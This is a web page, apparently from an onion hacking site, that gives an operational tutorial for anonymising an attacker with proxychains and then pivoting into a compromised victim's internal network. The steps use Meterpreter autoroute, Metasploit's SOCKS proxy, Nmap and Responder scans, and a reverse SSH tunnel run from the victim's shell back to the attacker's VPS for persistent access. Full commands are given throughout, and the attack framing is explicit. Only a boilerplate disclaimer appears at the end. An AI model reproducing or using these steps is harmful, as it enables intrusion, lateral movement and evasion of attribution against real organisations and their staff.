ONION: gr3y-hat.onion
Back to Home

Proxy Setup

Anonymity & Pivot Proxy Configuration

What You'll Learn

  • Part 1: Hide your identity using an external proxy
  • Part 2: Tunnel through the victim's machine to attack their internal network
  • Bonus: SSH tunneling as a stable alternative

1 The Anonymity Proxy (Hiding Your Identity)

When to do this: Before you start your attack or log into your VPS. This masks your real IP address.

Configure Proxychains

Open terminal in Parrot OS:

sudo nano /etc/proxychains4.conf

Essential Settings:

  • Uncomment dynamic_chain (remove the #)
  • Uncomment proxy_dns (prevents ISP from seeing DNS requests)

Add Your Proxy Credentials

Scroll to the very bottom and add your Webshare info:

socks5 [Webshare_IP] [Port] [Username] [Password]

Example: socks5 123.45.67.89 1080 myuser mypass

Save and Exit

Ctrl+O, Enter, then Ctrl+X

Verify via Command Line

proxychains4 curl -s https://ipinfo.io

If it returns the IP and location of your proxy, the tunnel is working.

Verify via Browser

proxychains4 firefox-esr --private-window

Navigate to whatismybrowser.com

Confirm the IP matches your Webshare proxy.

2 The Internal Pivot Proxy (Tunnelling Into the Victim)

When to do this: After you have an active Meterpreter session and want to use Parrot OS tools (like Nmap or Responder) against other computers inside the victim's office.

Map the Internal Route

Inside your Meterpreter session:

run get_local_subnets

Note the range (e.g., 10.0.0.0/24)

run autoroute -s 10.0.0.0/24

Start the SOCKS Server in Metasploit

Type these commands in msfconsole:

background use auxiliary/server/socks_proxy set SRVHOST 127.0.0.1 set SRVPORT 1080 set VERSION 5 run -j

Switch Proxychains to the Pivot

Open a new terminal tab:

sudo nano /etc/proxychains4.conf

Go to the bottom:

Comment out (#) your Webshare proxy line

Add this line instead:

socks5 127.0.0.1 1080

Execute Internal Attacks

Now any command with proxychains4 will go through your VPS, into the victim's computer, and out into their internal network.

Example - Nmap scan:

proxychains4 nmap -Pn -sT [Internal_Target_IP]

Example - Responder:

sudo proxychains4 responder -I eth0 -rdvw

Quick Summary

  • Part 1 uses an external server to hide YOU
  • Part 2 uses the VICTIM'S machine as a bridge to reach their coworkers' computers
  • The Switch: You must manually edit the .conf file to switch between "Hiding mode" and "Pivot mode"

3 SSH Tunneling (Alternative to Meterpreter)

Why SSH? This turns your VPS into a permanent bridge to the victim's network. More stable than Meterpreter!

Step 1: Configure Your VPS (The Receiver)

You only need to do this once. It allows your VPS to "pass through" the connection.

1. Log into your VPS via terminal

2. Open the SSH config:

sudo nano /etc/ssh/sshd_config

3. Find GatewayPorts and change it to:

GatewayPorts yes

(Remove the # if there is one)

4. Save and restart SSH:

Ctrl+O, Enter, Ctrl+X sudo service ssh restart

Step 2: Create the Tunnel (From Victim's Machine)

Run this command from the victim's terminal (shell you gained via PDF attack):

shell ssh -f -N -R 8080:localhost:80 root@[Your_VPS_IP] -o ServerAliveInterval=60

What each part means:

  • -f: Runs in background, stays alive if terminal closes
  • -N: Just a tunnel, no remote command execution
  • -R 8080:localhost:80: Forwards victim's traffic to your VPS port 8080
  • -o ServerAliveInterval=60: Heartbeat every 60 seconds to prevent timeout

Step 3: Access Internal Network

Now you can view their internal website from your browser:

Open Firefox on your Parrot OS laptop

Go to:

http://[Your_VPS_IP]:8080

You are now viewing their internal website as if you were sitting at their desk!

Step 4: Full SOCKS Pivot (Optional)

Use Nmap, Responder, and other tools through the stable SSH tunnel:

1. Create local SOCKS tunnel:

ssh -D 9050 root@[Your_VPS_IP]

2. Update proxychains:

sudo nano /etc/proxychains4.conf

Add this line at the bottom:

socks5 127.0.0.1 9050

3. Use proxychains with any tool:

proxychains4 nmap [Internal_IP]

Key Notes for Beginners

Port 8080: This is just a "mailbox" on your VPS. Anything sent there is forwarded through the tunnel to the victim.

Persistence: If the victim reboots, you must run the SSH tunnel command again unless you have added it to a startup script.

Stability: SSH is a legitimate system process. Unlike Meterpreter, it won't crash if the RAM usage spikes or the connection flickers.

DISCLAIMER

This information is for educational purposes only. Unauthorized access to computer systems is illegal. Always have written authorization before testing.